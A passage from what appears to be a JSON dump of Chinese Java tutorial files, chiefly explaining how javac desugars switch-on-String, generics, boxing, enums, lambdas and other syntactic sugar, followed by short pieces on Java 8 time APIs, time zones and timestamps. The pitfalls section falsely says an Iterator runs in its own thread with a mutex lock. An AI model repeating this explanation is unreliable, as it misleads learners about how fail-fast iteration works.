SynchronizedList，而不用改变他的底层数据结构。而这一点是Vector无法做到的，因为他的底层结构就是使用数组实现的，这个是无法更改的。\n\n所以，最后，SynchronizedList和Vector最主要的区别： **1\\.SynchronizedList有很好的扩展和兼容功能。他可以将所有的List的子类转成线程安全的类。** **2\\.使用SynchronizedList的时候，进行遍历时要手动进行同步处理**。 **3\\.SynchronizedList可以指定锁定的对象。**\n"
  },
  {
    "path": "docs/basics/java-basic/syntactic-sugar.md",
    "content": "\n\n语法糖（Syntactic Sugar），也称糖衣语法，是由英国计算机学家 Peter.J.Landin 发明的一个术语，指在计算机语言中添加的某种语法，这种语法对语言的功能并没有影响，但是更方便程序员使用。\n\n本 Chat 从 Java 编译原理角度，深入字节码及 class 文件，抽丝剥茧，了解 Java 中的语法糖原理及用法，帮助大家在学会如何使用 Java 语法糖的同时，了解这些语法糖背后的原理，主要内容如下：\n\n什么是语法糖 糖块一 —— switch 支持 String 与枚举 糖块二 —— 泛型与类型擦除 糖块三 —— 自动装箱与拆箱 ...... 糖块十一 —— try-with-resource 糖块十二 —— lambda 表达式 糖衣炮弹 —— 语法糖使用过程中需要注意的点 综合应用\n\n\n### 语法糖\n\n语法糖（Syntactic Sugar），也称糖衣语法，是由英国计算机学家 Peter.J.Landin 发明的一个术语，指在计算机语言中添加的某种语法，这种语法对语言的功能并没有影响，但是更方便程序员使用。简而言之，语法糖让程序更加简洁，有更高的可读性。\n\n> 有意思的是，在编程领域，除了语法糖，还有语法盐和语法糖精的说法，篇幅有限这里不做扩展了。\n\n我们所熟知的编程语言中几乎都有语法糖。作者认为，语法糖的多少是评判一个语言够不够牛逼的标准之一。很多人说Java是一个“低糖语言”，其实从Java 7开始Java语言层面上一直在添加各种糖，主要是在“Project Coin”项目下研发。尽管现在Java有人还是认为现在的Java是低糖，未来还会持续向着“高糖”的方向发展。\n\n### 解语法糖\n\n前面提到过，语法糖的存在主要是方便开发人员使用。但其实，Java虚拟机并不支持这些语法糖。这些语法糖在编译阶段就会被还原成简单的基础语法结构，这个过程就是解语法糖。\n\n说到编译，大家肯定都知道，Java语言中，`javac`命令可以将后缀名为`.java`的源文件编译为后缀名为`.class`的可以运行于Java虚拟机的字节码。如果你去看`com.sun.tools.javac.main.JavaCompiler`的源码，你会发现在`compile()`中有一个步骤就是调用`desugar()`，这个方法就是负责解语法糖的实现的。\n\nJava 中最常用的语法糖主要有泛型、变长参数、条件编译、自动拆装箱、内部类等。本文主要来分析下这些语法糖背后的原理。一步一步剥去糖衣，看看其本质。\n\n### 糖块一、 switch 支持 String 与枚举\n\n前面提到过，从Java 7 开始，Java语言中的语法糖在逐渐丰富，其中一个比较重要的就是Java 7中`switch`开始支持`String`。\n\n在开始coding之前先科普下，Java中的`switch`自身原本就支持基本类型。比如`int`、`char`等。对于`int`类型，直接进行数值的比较。对于`char`类型则是比较其ascii码。所以，对于编译器来说，`switch`中其实只能使用整型，任何类型的比较都要转换成整型。比如`byte`。`short`，`char`(ackii码是整型)以及`int`。\n\n那么接下来看下`switch`对`String`得支持，有以下代码：\n\n    public class switchDemoString {\n        public static void main(String[] args) {\n            String str = \"world\";\n            switch (str) {\n            case \"hello\":\n                System.out.println(\"hello\");\n                break;\n            case \"world\":\n                System.out.println(\"world\");\n                break;\n            default:\n                break;\n            }\n        }\n    }\n\n\n[反编译][1]后内容如下：\n\n    public class switchDemoString\n    {\n        public switchDemoString()\n        {\n        }\n        public static void main(String args[])\n        {\n            String str = \"world\";\n            String s;\n            switch((s = str).hashCode())\n            {\n            default:\n                break;\n            case 99162322:\n                if(s.equals(\"hello\"))\n                    System.out.println(\"hello\");\n                break;\n            case 113318802:\n                if(s.equals(\"world\"))\n                    System.out.println(\"world\");\n                break;\n            }\n        }\n    }\n\n\n看到这个代码，你知道原来**字符串的switch是通过`equals()`和`hashCode()`方法来实现的。**还好`hashCode()`方法返回的是`int`，而不是`long`。\n\n> 仔细看下可以发现，进行`switch`的实际是哈希值，然后通过使用`equals`方法比较进行安全检查，这个检查是必要的，因为哈希可能会发生碰撞。因此它的性能是不如使用枚举进行switch或者使用纯整数常量，但这也不是很差。\n\n### 糖块二、 泛型\n\n我们都知道，很多语言都是支持泛型的，但是很多人不知道的是，不同的编译器对于泛型的处理方式是不同的，通常情况下，一个编译器处理泛型有两种方式：`Code specialization`和`Code sharing`。C++和C#是使用`Code specialization`的处理机制，而Java使用的是`Code sharing`的机制。\n\n> Code sharing方式为每个泛型类型创建唯一的字节码表示，并且将该泛型类型的实例都映射到这个唯一的字节码表示上。将多种泛型类形实例映射到唯一的字节码表示是通过类型擦除（`type erasue`）实现的。\n\n也就是说，**对于Java虚拟机来说，他根本不认识`Map<String, String> map`这样的语法。需要在编译阶段通过类型擦除的方式进行解语法糖。**\n\n类型擦除的主要过程如下： 1.将所有的泛型参数用其最左边界（最顶级的父类型）类型替换。 2.移除所有的类型参数。\n\n以下代码：\n\n    Map<String, String> map = new HashMap<String, String>();\n    map.put(\"name\", \"hollis\");\n    map.put(\"wechat\", \"Hollis\");\n    map.put(\"blog\", \"www.hollischuang.com\");\n\n\n解语法糖之后会变成：\n\n    Map map = new HashMap();\n    map.put(\"name\", \"hollis\");\n    map.put(\"wechat\", \"Hollis\");\n    map.put(\"blog\", \"www.hollischuang.com\");\n\n\n以下代码：\n\n    public static <A extends Comparable<A>> A max(Collection<A> xs) {\n        Iterator<A> xi = xs.iterator();\n        A w = xi.next();\n        while (xi.hasNext()) {\n            A x = xi.next();\n            if (w.compareTo(x) < 0)\n                w = x;\n        }\n        return w;\n    }\n\n\n类型擦除后会变成：\n\n     public static Comparable max(Collection xs){\n        Iterator xi = xs.iterator();\n        Comparable w = (Comparable)xi.next();\n        while(xi.hasNext())\n        {\n            Comparable x = (Comparable)xi.next();\n            if(w.compareTo(x) < 0)\n                w = x;\n        }\n        return w;\n    }\n\n\n**虚拟机中没有泛型，只有普通类和普通方法，所有泛型类的类型参数在编译时都会被擦除，泛型类并没有自己独有的`Class`类对象。比如并不存在`List<String>.class`或是`List<Integer>.class`，而只有`List.class`。**\n\n### 糖块三、 自动装箱与拆箱\n\n自动装箱就是Java自动将原始类型值转换成对应的对象，比如将int的变量转换成Integer对象，这个过程叫做装箱，反之将Integer对象转换成int类型值，这个过程叫做拆箱。因为这里的装箱和拆箱是自动进行的非人为转换，所以就称作为自动装箱和拆箱。原始类型byte, short, char, int, long, float, double 和 boolean 对应的封装类为Byte, Short, Character, Integer, Long, Float, Double, Boolean。\n\n先来看个自动装箱的代码：\n\n     public static void main(String[] args) {\n        int i = 10;\n        Integer n = i;\n    }\n\n\n反编译后代码如下:\n\n    public static void main(String args[])\n    {\n        int i = 10;\n        Integer n = Integer.valueOf(i);\n    }\n\n\n再来看个自动拆箱的代码：\n\n    public static void main(String[] args) {\n\n        Integer i = 10;\n        int n = i;\n    }\n\n\n反编译后代码如下：\n\n    public static void main(String args[])\n    {\n        Integer i = Integer.valueOf(10);\n        int n = i.intValue();\n    }\n\n\n从反编译得到内容可以看出，在装箱的时候自动调用的是`Integer`的`valueOf(int)`方法。而在拆箱的时候自动调用的是`Integer`的`intValue`方法。\n\n所以，**装箱过程是通过调用包装器的valueOf方法实现的，而拆箱过程是通过调用包装器的 xxxValue方法实现的。**\n\n### 糖块四 、 方法变长参数\n\n可变参数(`variable arguments`)是在Java 1.5中引入的一个特性。它允许一个方法把任意数量的值作为参数。\n\n看下以下可变参数代码，其中print方法接收可变参数：\n\n    public static void main(String[] args)\n        {\n            print(\"Holis\", \"公众号:Hollis\", \"博客：www.hollischuang.com\", \"QQ：907607222\");\n        }\n\n    public static void print(String... strs)\n    {\n        for (int i = 0; i < strs.length; i++)\n        {\n            System.out.println(strs[i]);\n        }\n    }\n\n\n反编译后代码：\n\n     public static void main(String args[])\n    {\n        print(new String[] {\n            \"Holis\", \"\\u516C\\u4F17\\u53F7:Hollis\", \"\\u535A\\u5BA2\\uFF1Awww.hollischuang.com\", \"QQ\\uFF1A907607222\"\n        });\n    }\n\n    public static transient void print(String strs[])\n    {\n        for(int i = 0; i < strs.length; i++)\n            System.out.println(strs[i]);\n\n    }\n\n\n从反编译后代码可以看出，可变参数在被使用的时候，他首先会创建一个数组，数组的长度就是调用该方法是传递的实参的个数，然后再把参数值全部放到这个数组当中，然后再把这个数组作为参数传递到被调用的方法中。\n\n> PS：反编译后的print方法声明中有一个transient标识，是不是很奇怪？transient不是不可以修饰方法吗？transient不是和序列化有关么？transient在这里的作用是什么？因为这个与本文关系不大，这里不做深入分析了。相了解的同学可以关注我微信公众号或者博客。\n\n### 糖块五 、 枚举\n\nJava SE5提供了一种新的类型-Java的枚举类型，关键字`enum`可以将一组具名的值的有限集合创建为一种新的类型，而这些具名的值可以作为常规的程序组件使用，这是一种非常有用的功能。\n\n要想看源码，首先得有一个类吧，那么枚举类型到底是什么类呢？是`enum`吗？答案很明显不是，`enum`就和`class`一样，只是一个关键字，他并不是一个类，那么枚举是由什么类维护的呢，我们简单的写一个枚举：\n\n    public enum t {\n        SPRING,SUMMER;\n    }\n\n\n然后我们使用反编译，看看这段代码到底是怎么实现的，反编译后代码内容如下：\n\n    public final class T extends Enum\n    {\n        private T(String s, int i)\n        {\n            super(s, i);\n        }\n        public static T[] values()\n        {\n            T at[];\n            int i;\n            T at1[];\n            System.arraycopy(at = ENUM$VALUES, 0, at1 = new T[i = at.length], 0, i);\n            return at1;\n        }\n\n        public static T valueOf(String s)\n        {\n            return (T)Enum.valueOf(demo/T, s);\n        }\n\n        public static final T SPRING;\n        public static final T SUMMER;\n        private static final T ENUM$VALUES[];\n        static\n        {\n            SPRING = new T(\"SPRING\", 0);\n            SUMMER = new T(\"SUMMER\", 1);\n            ENUM$VALUES = (new T[] {\n                SPRING, SUMMER\n            });\n        }\n    }\n\n\n通过反编译后代码我们可以看到，`public final class T extends Enum`，说明，该类是继承了`Enum`类的，同时`final`关键字告诉我们，这个类也是不能被继承的。**当我们使用`enum`来定义一个枚举类型的时候，编译器会自动帮我们创建一个`final`类型的类继承`Enum`类，所以枚举类型不能被继承。**\n\n### 糖块六 、 内部类\n\n内部类又称为嵌套类，可以把内部类理解为外部类的一个普通成员。\n\n**内部类之所以也是语法糖，是因为它仅仅是一个编译时的概念，`outer.java`里面定义了一个内部类`inner`，一旦编译成功，就会生成两个完全不同的`.class`文件了，分别是`outer.class`和`outer$inner.class`。所以内部类的名字完全可以和它的外部类名字相同。**\n\n    public class OutterClass {\n        private String userName;\n\n        public String getUserName() {\n            return userName;\n        }\n\n        public void setUserName(String userName) {\n            this.userName = userName;\n        }\n\n        public static void main(String[] args) {\n\n        }\n\n        class InnerClass{\n            private String name;\n\n            public String getName() {\n                return name;\n            }\n\n            public void setName(String name) {\n                this.name = name;\n            }\n        }\n    }\n\n\n以上代码编译后会生成两个class文件：`OutterClass$InnerClass.class` 、`OutterClass.class` 。当我们尝试对`OutterClass.class`文件进行反编译的时候，命令行会打印以下内容：`Parsing OutterClass.class...Parsing inner class OutterClass$InnerClass.class... Generating OutterClass.jad` 。他会把两个文件全部进行反编译，然后一起生成一个`OutterClass.jad`文件。文件内容如下：\n\n    public class OutterClass\n    {\n        class InnerClass\n        {\n            public String getName()\n            {\n                return name;\n            }\n            public void setName(String name)\n            {\n                this.name = name;\n            }\n            private String name;\n            final OutterClass this$0;\n\n            InnerClass()\n            {\n                this.this$0 = OutterClass.this;\n                super();\n            }\n        }\n\n        public OutterClass()\n        {\n        }\n        public String getUserName()\n        {\n            return userName;\n        }\n        public void setUserName(String userName){\n            this.userName = userName;\n        }\n        public static void main(String args1[])\n        {\n        }\n        private String userName;\n    }\n\n\n### 糖块七 、条件编译\n\n—般情况下，程序中的每一行代码都要参加编译。但有时候出于对程序代码优化的考虑，希望只对其中一部分内容进行编译，此时就需要在程序中加上条件，让编译器只对满足条件的代码进行编译，将不满足条件的代码舍弃，这就是条件编译。\n\n如在C或CPP中，可以通过预处理语句来实现条件编译。其实在Java中也可实现条件编译。我们先来看一段代码：\n\n    public class ConditionalCompilation {\n        public static void main(String[] args) {\n            final boolean DEBUG = true;\n            if(DEBUG) {\n                System.out.println(\"Hello, DEBUG!\");\n            }\n\n            final boolean ONLINE = false;\n\n            if(ONLINE){\n                System.out.println(\"Hello, ONLINE!\");\n            }\n        }\n    }\n\n\n反编译后代码如下：\n\n    public class ConditionalCompilation\n    {\n\n        public ConditionalCompilation()\n        {\n        }\n\n        public static void main(String args[])\n        {\n            boolean DEBUG = true;\n            System.out.println(\"Hello, DEBUG!\");\n            boolean ONLINE = false;\n        }\n    }\n\n\n首先，我们发现，在反编译后的代码中没有`System.out.println(\"Hello, ONLINE!\");`，这其实就是条件编译。当`if(ONLINE)`为false的时候，编译器就没有对其内的代码进行编译。\n\n所以，**Java语法的条件编译，是通过判断条件为常量的if语句实现的。其原理也是Java语言的语法糖。根据if判断条件的真假，编译器直接把分支为false的代码块消除。通过该方式实现的条件编译，必须在方法体内实现，而无法在正整个Java类的结构或者类的属性上进行条件编译，这与C/C++的条件编译相比，确实更有局限性。在Java语言设计之初并没有引入条件编译的功能，虽有局限，但是总比没有更强。**\n\n### 糖块八 、 断言\n\n在Java中，`assert`关键字是从JAVA SE 1.4 引入的，为了避免和老版本的Java代码中使用了`assert`关键字导致错误，Java在执行的时候默认是不启动断言检查的（这个时候，所有的断言语句都将忽略！），如果要开启断言检查，则需要用开关`-enableassertions`或`-ea`来开启。\n\n看一段包含断言的代码：\n\n    public class AssertTest {\n        public static void main(String args[]) {\n            int a = 1;\n            int b = 1;\n            assert a == b;\n            System.out.println(\"公众号：Hollis\");\n            assert a != b : \"Hollis\";\n            System.out.println(\"博客：www.hollischuang.com\");\n        }\n    }\n\n\n反编译后代码如下：\n\n    public class AssertTest {\n       public AssertTest()\n        {\n        }\n        public static void main(String args[])\n    {\n        int a = 1;\n        int b = 1;\n        if(!$assertionsDisabled && a != b)\n            throw new AssertionError();\n        System.out.println(\"\\u516C\\u4F17\\u53F7\\uFF1AHollis\");\n        if(!$assertionsDisabled && a == b)\n        {\n            throw new AssertionError(\"Hollis\");\n        } else\n        {\n            System.out.println(\"\\u535A\\u5BA2\\uFF1Awww.hollischuang.com\");\n            return;\n        }\n    }\n\n    static final boolean $assertionsDisabled = !com/hollis/suguar/AssertTest.desiredAssertionStatus();\n\n\n    }\n\n\n很明显，反编译之后的代码要比我们自己的代码复杂的多。所以，使用了assert这个语法糖我们节省了很多代码。**其实断言的底层实现就是if语言，如果断言结果为true，则什么都不做，程序继续执行，如果断言结果为false，则程序抛出AssertError来打断程序的执行。**`-enableassertions`会设置$assertionsDisabled字段的值。\n\n### 糖块九 、 数值字面量\n\n在java 7中，数值字面量，不管是整数还是浮点数，都允许在数字之间插入任意多个下划线。这些下划线不会对字面量的数值产生影响，目的就是方便阅读。\n\n比如：\n\n    public class Test {\n        public static void main(String... args) {\n            int i = 10_000;\n            System.out.println(i);\n        }\n    }\n\n\n反编译后：\n\n    public class Test\n    {\n      public static void main(String[] args)\n      {\n        int i = 10000;\n        System.out.println(i);\n      }\n    }\n\n\n反编译后就是把`_`删除了。也就是说 **编译器并不认识在数字字面量中的`_`，需要在编译阶段把他去掉。**\n\n### 糖块十 、 for-each\n\n增强for循环（`for-each`）相信大家都不陌生，日常开发经常会用到的，他会比for循环要少写很多代码，那么这个语法糖背后是如何实现的呢？\n\n    public static void main(String... args) {\n        String[] strs = {\"Hollis\", \"公众号：Hollis\", \"博客：www.hollischuang.com\"};\n        for (String s : strs) {\n            System.out.println(s);\n        }\n        List<String> strList = ImmutableList.of(\"Hollis\", \"公众号：Hollis\", \"博客：www.hollischuang.com\");\n        for (String s : strList) {\n            System.out.println(s);\n        }\n    }\n\n\n反编译后代码如下：\n\n    public static transient void main(String args[])\n    {\n        String strs[] = {\n            \"Hollis\", \"\\u516C\\u4F17\\u53F7\\uFF1AHollis\", \"\\u535A\\u5BA2\\uFF1Awww.hollischuang.com\"\n        };\n        String args1[] = strs;\n        int i = args1.length;\n        for(int j = 0; j < i; j++)\n        {\n            String s = args1[j];\n            System.out.println(s);\n        }\n\n        List strList = ImmutableList.of(\"Hollis\", \"\\u516C\\u4F17\\u53F7\\uFF1AHollis\", \"\\u535A\\u5BA2\\uFF1Awww.hollischuang.com\");\n        String s;\n        for(Iterator iterator = strList.iterator(); iterator.hasNext(); System.out.println(s))\n            s = (String)iterator.next();\n\n    }\n\n\n代码很简单，**for-each的实现原理其实就是使用了普通的for循环和迭代器。**\n\n### 糖块十一 、 try-with-resource\n\nJava里，对于文件操作IO流、数据库连接等开销非常昂贵的资源，用完之后必须及时通过close方法将其关闭，否则资源会一直处于打开状态，可能会导致内存泄露等问题。\n\n关闭资源的常用方式就是在`finally`块里是释放，即调用`close`方法。比如，我们经常会写这样的代码：\n\n    public static void main(String[] args) {\n        BufferedReader br = null;\n        try {\n            String line;\n            br = new BufferedReader(new FileReader(\"d:\\\\hollischuang.xml\"));\n            while ((line = br.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            // handle exception\n        } finally {\n            try {\n                if (br != null) {\n                    br.close();\n                }\n            } catch (IOException ex) {\n                // handle exception\n            }\n        }\n    }\n\n\n从Java 7开始，jdk提供了一种更好的方式关闭资源，使用`try-with-resources`语句，改写一下上面的代码，效果如下：\n\n    public static void main(String... args) {\n        try (BufferedReader br = new BufferedReader(new FileReader(\"d:\\\\ hollischuang.xml\"))) {\n            String line;\n            while ((line = br.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            // handle exception\n        }\n    }\n\n\n看，这简直是一大福音啊，虽然我之前一般使用`IOUtils`去关闭流，并不会使用在`finally`中写很多代码的方式，但是这种新的语法糖看上去好像优雅很多呢。看下他的背后：\n\n    public static transient void main(String args[])\n        {\n            BufferedReader br;\n            Throwable throwable;\n            br = new BufferedReader(new FileReader(\"d:\\\\ hollischuang.xml\"));\n            throwable = null;\n            String line;\n            try\n            {\n                while((line = br.readLine()) != null)\n                    System.out.println(line);\n            }\n            catch(Throwable throwable2)\n            {\n                throwable = throwable2;\n                throw throwable2;\n            }\n            if(br != null)\n                if(throwable != null)\n                    try\n                    {\n                        br.close();\n                    }\n                    catch(Throwable throwable1)\n                    {\n                        throwable.addSuppressed(throwable1);\n                    }\n                else\n                    br.close();\n                break MISSING_BLOCK_LABEL_113;\n                Exception exception;\n                exception;\n                if(br != null)\n                    if(throwable != null)\n                        try\n                        {\n                            br.close();\n                        }\n                        catch(Throwable throwable3)\n                          {\n                            throwable.addSuppressed(throwable3);\n                        }\n                    else\n                        br.close();\n            throw exception;\n            IOException ioexception;\n            ioexception;\n        }\n    }\n\n\n**其实背后的原理也很简单，那些我们没有做的关闭资源的操作，编译器都帮我们做了。所以，再次印证了，语法糖的作用就是方便程序员的使用，但最终还是要转成编译器认识的语言。**\n\n### 糖块十二、Lambda表达式\n\n关于lambda表达式，有人可能会有质疑，因为网上有人说他并不是语法糖。其实我想纠正下这个说法。**Labmda表达式不是匿名内部类的语法糖，但是他也是一个语法糖。实现方式其实是依赖了几个JVM底层提供的lambda相关api。**\n\n先来看一个简单的lambda表达式。遍历一个list：\n\n    public static void main(String... args) {\n        List<String> strList = ImmutableList.of(\"Hollis\", \"公众号：Hollis\", \"博客：www.hollischuang.com\");\n\n        strList.forEach( s -> { System.out.println(s); } );\n    }\n\n\n为啥说他并不是内部类的语法糖呢，前面讲内部类我们说过，内部类在编译之后会有两个class文件，但是，包含lambda表达式的类编译后只有一个文件。\n\n反编译后代码如下:\n\n    public static /* varargs */ void main(String ... args) {\n        ImmutableList strList = ImmutableList.of((Object)\"Hollis\", (Object)\"\\u516c\\u4f17\\u53f7\\uff1aHollis\", (Object)\"\\u535a\\u5ba2\\uff1awww.hollischuang.com\");\n        strList.forEach((Consumer<String>)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)V, lambda$main$0(java.lang.String ), (Ljava/lang/String;)V)());\n    }\n\n    private static /* synthetic */ void lambda$main$0(String s) {\n        System.out.println(s);\n    }\n\n\n可以看到，在`forEach`方法中，其实是调用了`java.lang.invoke.LambdaMetafactory#metafactory`方法，该方法的第四个参数implMethod指定了方法实现。可以看到这里其实是调用了一个`lambda$main$0`方法进行了输出。\n\n再来看一个稍微复杂一点的，先对List进行过滤，然后再输出：\n\n    public static void main(String... args) {\n        List<String> strList = ImmutableList.of(\"Hollis\", \"公众号：Hollis\", \"博客：www.hollischuang.com\");\n\n        List HollisList = strList.stream().filter(string -> string.contains(\"Hollis\")).collect(Collectors.toList());\n\n        HollisList.forEach( s -> { System.out.println(s); } );\n    }\n\n\n反编译后代码如下：\n\n    public static /* varargs */ void main(String ... args) {\n        ImmutableList strList = ImmutableList.of((Object)\"Hollis\", (Object)\"\\u516c\\u4f17\\u53f7\\uff1aHollis\", (Object)\"\\u535a\\u5ba2\\uff1awww.hollischuang.com\");\n        List<Object> HollisList = strList.stream().filter((Predicate<String>)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)Z, lambda$main$0(java.lang.String ), (Ljava/lang/String;)Z)()).collect(Collectors.toList());\n        HollisList.forEach((Consumer<Object>)LambdaMetafactory.metafactory(null, null, null, (Ljava/lang/Object;)V, lambda$main$1(java.lang.Object ), (Ljava/lang/Object;)V)());\n    }\n\n    private static /* synthetic */ void lambda$main$1(Object s) {\n        System.out.println(s);\n    }\n\n    private static /* synthetic */ boolean lambda$main$0(String string) {\n        return string.contains(\"Hollis\");\n    }\n\n\n两个lambda表达式分别调用了`lambda$main$1`和`lambda$main$0`两个方法。\n\n**所以，lambda表达式的实现其实是依赖了一些底层的api，在编译阶段，编译器会把lambda表达式进行解糖，转换成调用内部api的方式。**\n\n### 可能遇到的坑\n\n#### 泛型\n\n**一、当泛型遇到重载** public class GenericTypes {\n\n        public static void method(List<String> list) {\n            System.out.println(\"invoke method(List<String> list)\");\n        }\n\n        public static void method(List<Integer> list) {\n            System.out.println(\"invoke method(List<Integer> list)\");\n        }\n    }\n\n\n上面这段代码，有两个重载的函数，因为他们的参数类型不同，一个是`List<String>`另一个是`List<Integer>` ，但是，这段代码是编译通不过的。因为我们前面讲过，参数`List<Integer>`和`List<String>`编译之后都被擦除了，变成了一样的原生类型List，擦除动作导致这两个方法的特征签名变得一模一样。\n\n**二、当泛型遇到catch** 泛型的类型参数不能用在Java异常处理的catch语句中。因为异常处理是由JVM在运行时刻来进行的。由于类型信息被擦除，JVM是无法区分两个异常类型`MyException<String>`和`MyException<Integer>`的\n\n**三、当泛型内包含静态变量**\n\n    public class StaticTest{\n        public static void main(String[] args){\n            GT<Integer> gti = new GT<Integer>();\n            gti.var=1;\n            GT<String> gts = new GT<String>();\n            gts.var=2;\n            System.out.println(gti.var);\n        }\n    }\n    class GT<T>{\n        public static int var=0;\n        public void nothing(T x){}\n    }\n\n\n以上代码输出结果为：2！由于经过类型擦除，所有的泛型类实例都关联到同一份字节码上，泛型类的所有静态变量是共享的。\n\n#### 自动装箱与拆箱\n\n**对象相等比较**\n\npublic class BoxingTest {\n\n    public static void main(String[] args) {\n        Integer a = 1000;\n        Integer b = 1000;\n        Integer c = 100;\n        Integer d = 100;\n        System.out.println(\"a == b is \" + (a == b));\n        System.out.println((\"c == d is \" + (c == d)));\n    }\n\n\n输出结果：\n\n    a == b is false\n    c == d is true\n\n\n在Java 5中，在Integer的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。\n\n> 适用于整数值区间-128 至 +127。\n>\n> 只适用于自动装箱。使用构造函数创建对象不适用。\n\n#### 增强for循环\n\n**ConcurrentModificationException**\n\n    for (Student stu : students) {\n        if (stu.getId() == 2)\n            students.remove(stu);\n    }\n\n\n会抛出`ConcurrentModificationException`异常。\n\nIterator是工作在一个独立的线程中，并且拥有一个 mutex 锁。 Iterator被创建之后会建立一个指向原来对象的单链索引表，当原来的对象数量发生变化时，这个索引表的内容不会同步改变，所以当索引指针往后移动的时候就找不到要迭代的对象，所以按照 fail-fast 原则 Iterator 会马上抛出`java.util.ConcurrentModificationException`异常。\n\n所以 `Iterator` 在工作的时候是不允许被迭代的对象被改变的。但你可以使用 `Iterator` 本身的方法`remove()`来删除对象，`Iterator.remove()` 方法会在删除当前迭代对象的同时维护索引的一致性。\n\n### 总结\n\n前面介绍了12种Java中常用的语法糖。所谓语法糖就是提供给开发人员便于开发的一种语法而已。但是这种语法只有开发人员认识。要想被执行，需要进行解糖，即转成JVM认识的语法。当我们把语法糖解糖之后，你就会发现其实我们日常使用的这些方便的语法，其实都是一些其他更简单的语法构成的。\n\n有了这些语法糖，我们在日常开发的时候可以大大提升效率，但是同时也要避免过渡使用。使用之前最好了解下原理，避免掉坑。\n\n参考资料： [Java的反编译][1] [Java中的Switch对整型、字符型、字符串型的具体实现细节][2] [深度分析Java的枚举类型—-枚举的线程安全性及序列化问题][3] [Java的枚举类型用法介绍][4] [Java中的增强for循环（for each）的实现原理与坑][5] [Java中泛型的理解][6] [Java中整型的缓存机制][7] [Java中的可变参数][8]\n\n [1]: http://www.hollischuang.com/archives/58\n [2]: http://www.hollischuang.com/archives/61\n [3]: http://www.hollischuang.com/archives/197\n [4]: http://www.hollischuang.com/archives/195\n [5]: http://www.hollischuang.com/archives/1776\n [6]: http://www.hollischuang.com/archives/230\n [7]: http://www.hollischuang.com/archives/1174\n [8]: http://www.hollischuang.com/archives/1271\n"
  },
  {
    "path": "docs/basics/java-basic/time-in-java8.md",
    "content": "Java 8通过发布新的Date-Time API (JSR 310)来进一步加强对日期与时间的处理。\n\n在旧版的 Java 中，日期时间 API 存在诸多问题，其中有：\n\n* 非线程安全 − java.util.Date 是非线程安全的，所有的日期类都是可变的，这是Java日期类最大的问题之一。\n\n* 设计很差 − Java的日期/时间类的定义并不一致，在java.util和java.sql的包中都有日期类，此外用于格式化和解析的类在java.text包中定义。java.util.Date同时包含日期和时间，而java.sql.Date仅包含日期，将其纳入java.sql包并不合理。另外这两个类都有相同的名字，这本身就是一个非常糟糕的设计。\n\n* 时区处理麻烦 − 日期类并不提供国际化，没有时区支持，因此Java引入了java.util.Calendar和java.util.TimeZone类，但他们同样存在上述所有的问题。\n\n\n在Java8中， 新的时间及⽇期API位于java.time包中， 该包中有哪些重要的类。 分别代表了什么？\n\n\n`Instant`： 时间戳\n\n`Duration`： 持续时间， 时间差\n\n`LocalDate`： 只包含⽇期， ⽐如： 2016-10-20\n\n`LocalTime`： 只包含时间， ⽐如： 23:12:10\n\n`LocalDateTime`： 包含⽇期和时间， ⽐如： 2016-10-20 23:14:21\n\n`Period`： 时间段\n\n`ZoneOffset`： 时区偏移量， ⽐如： +8:00\n\n`ZonedDateTime`： 带时区的时间\n\n`Clock`： 时钟， ⽐如获取⽬前美国纽约的时间\n\n新的java.time包涵盖了所有处理日期，时间，日期/时间，时区，时刻（instants），过程（during）与时钟（clock）的操作。\n\n### LocalTime 和 LocalDate的区别？\n\n\n`LocalDate`表⽰⽇期， 年⽉⽇， `LocalTime`表⽰时间， 时分\n秒\n\n### 获取当前时间\n\n在Java8中，使用如下方式获取当前时间：\n    \n    LocalDate today = LocalDate.now();\n    int year = today.getYear();\n    int month = today.getMonthValue();\n    int day = today.getDayOfMonth();\n    System.out.printf(\"Year : %d Month : %d day : %d t %n\", year,month, day);\n    \n\n### 创建指定日期的时间\n\n    LocalDate date = LocalDate.of(2018, 01, 01);\n    \n\n### 检查闰年\n\n直接使⽤LocalDate的isLeapYear即可判断是否闰年\n\n    LocalDate nowDate = LocalDate.now();\n    //判断闰年\n    boolean leapYear = nowDate.isLeapYear();\n    \n### 计算两个⽇期之间的天数和⽉数\n\n在Java 8中可以⽤java.time.Period类来做计算。\n\n    Period period = Period.between(LocalDate.of(2018, 1, 5),LocalDate.of(2018, 2, 5));\n    \n"
  },
  {
    "path": "docs/basics/java-basic/time-zone.md",
    "content": "时区是地球上的区域使用同一个时间定义。以前，人们通过观察太阳的位置（时角）决定时间，这就使得不同经度的地方的时间有所不同（地方时）。1863年，首次使用时区的概念。时区通过设立一个区域的标准时间部分地解决了这个问题。\n\n世界各个国家位于地球不同位置上，因此不同国家，特别是东西跨度大的国家日出、日落时间必定有所偏差。这些偏差就是所谓的时差。\n\n\n为了照顾到各地区的使用方便，又使其他地方的人容易将本地的时间换算到别的地方时间上去。有关国际会议决定将地球表面按经线从东到西，划成一个个区域，并且规定相邻区域的时间相差1小时。在同一区域内的东端和西端的人看到太阳升起的时间最多相差不过1小时。当人们跨过一个区域，就将自己的时钟校正1小时（向西减1小时，向东加1小时），跨过几个区域就加或减几小时。这样使用起来就很方便。现今全球共分为24个时区。由于实用上常常1个国家，或1个省份同时跨着2个或更多时区，为了照顾到行政上的方便，常将1个国家或1个省份划在一起。所以时区并不严格按南北直线来划分，而是按自然条件来划分。例如，中国幅员宽广，差不多跨5个时区，但为了使用方便简单，实际上在只用东八时区的标准时即北京时间为准。\n\n北京时间比洛杉矶时间早15或者16个小时。具体和时令有关。\n北京时间比纽约时间早12或者13个小时。具体和时令有关。"
  },
  {
    "path": "docs/basics/java-basic/timestamp.md",
    "content": "时间戳（timestamp），一个能表示一份数据在某个特定时间之前已经存在的、 完整的、 可验证的数据,通常是一个字符序列，唯一地标识某一刻的时间。\n\n时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。通俗的讲， 时间戳是一份能够表示一份数据在一个特定时间点已经存在的完整的可验证的数据。"
  },
  {
    "path": "docs/basics/java-basic/transient-in-java.md",
